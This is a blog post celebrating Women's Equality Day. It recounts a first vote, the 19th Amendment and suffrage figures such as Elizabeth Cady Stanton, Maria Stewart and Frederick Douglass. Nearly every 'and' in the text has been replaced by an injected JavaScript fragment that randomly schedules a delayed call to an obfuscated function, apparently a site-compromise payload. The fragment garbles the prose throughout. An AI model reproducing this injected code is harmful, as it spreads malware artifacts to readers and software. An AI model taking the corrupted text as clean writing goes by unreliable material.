Women’s Equality Day: Celebrate

9020102977_c978b9b959_z (1)

9020102977_c978b9b959_z (1)

By Naomi Random()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andolph

Do you remember the first time you voted? I do! I was 18 years old andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and it was a presidential election. I was absolutely ecstatic andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and filled with anticipation andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and civic pride. You see, my community had stressed the importance of civic engagement my entire life.  Voting was not only a civic responsibility, it was also a rite of passage. I  now had the opportunity to engage in deeper discussions at the dinner table andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and my opinions about current affairs suddenly became more valuable, because I had earned a place at the table of civic accountability. My 18-year-old self was in awe of the power that voting would give me in this new world of adulthood. However, in all of that wonder I  did not consider the level of sacrifice – both personal andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and collective – that had been expended, so this idealistic 18-year-old African American woman could cast her vote, offer her opinion, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and help shape the trajectory of the country’s political future.

Tomorrow as a nation we are recognizing andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and celebrating Women’s Equality Day. Before you brush past this date on your calendar, this day commemorates the passage of the 19th amendment to the United States Constitution which “granted” the right to vote to women.  

“The right of citizens of the United States to vote shall not be denied or abridged by the United States or by any state on the  account of sex.”

These 27 words were a result of generations of struggle by women andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and some men to bring a “more perfect union “into being. Prior to 1920 most of citizens of the United States were marginalized, unable to actively impact their own political destiny. In August of 1920 all of  that changed- for some women. Unfortunately, women of color andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and first nation’s women still faced “outsider” status in the electoral processes. .

The 19th amendment passed in 1920 but the work of coalition-building andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and struggle to make it a reality began decades prior. The amendment came to be because of people who were willing to fight for something that they would never personally benefit from.  

Women like Elizabeth Cady Stanton (1815- 1902) Stanton was a premier leader in the suffrage movement. She along with others organized the Seneca Falls Convention andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and penned the Declaration of Sentiments. Stanton along with Susan B. Anthony  also archived the Suffrage movement for future generations.

Women like Maria Stewart (1803-1879)  Stewart was an African American abolitionist andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and feminist. Stewart is credited with being the first African American woman to speak publicly in defense of women’s rights. Stewart implored  women to break free from  stifling gender definitions andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and reach their fullest potential

And then there were the men, like William Lloyd Garrison, Charles Redmond,  andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Frederick Douglass, all abolitionist andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and supporters of the suffrage movement. Garrison andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Redmond refused to be seated as delegates at the World Anti- Slavery Convention in London when they realized that the female members of the delegation had been excluded because of their gender.  Frederick  Douglass  used his renowned newspaper the North Star to publicize the Seneca Falls Convention andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and attached the slogan “Right is on no Sex” to the papers identity.

The suffrage foremothers andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and forefathers laid the foundation for the 19thh Amendment. In 1971 Congress passed a joint resolution designating August 26 of each year as Women’s Equality Day. A portion of the the proclamation reads thusly “whereas, the women of the United States have been  treated as second class citizens…whereas the women of the United States have united to assure that the rights andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and privileges are available to all citizens equally regardless of sex…whereas the women of the United States have designated August 26, the anniversary date of the certification of the 19th amendment, as a symbol of the continued fight for equal rights.   This final portion of the proclamation resonates with me most in this season. The amendment was just the beginning. When we examine our current political landom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andscape there is much to celebrate.  The men andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and women who assembled at Seneca Falls could not have imagined the rise of Justice Sandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andra Day O’Connor, Senator Elizabeth Dole,  Congresswoman Eva Clayton,Governor Beverly Perdue or Presidential nominee  Hillary Clinton. They could have only hoped that their diligent efforts would create a society where the words “We the people of the United States in order form a more perfect union truly included all the people.

As we celebrate Women’s Equality Day andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and exalt the success of the suffrage movement we must also cast an analytical eye at the current standom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andards of equality in all areas of society. Equality must be achieved in our workplaces, political institutions, academic institutions andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and places of worship.

Yes, I will celebrate today while I simultaneously  standom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and in solidarity with those that still find themselves outside the margins of equity andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and justice. I believe our union is made more perfect when we afford all of our citizens the space to pursue life, liberty andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and happiness. Happy Women’s Equality Day!

 




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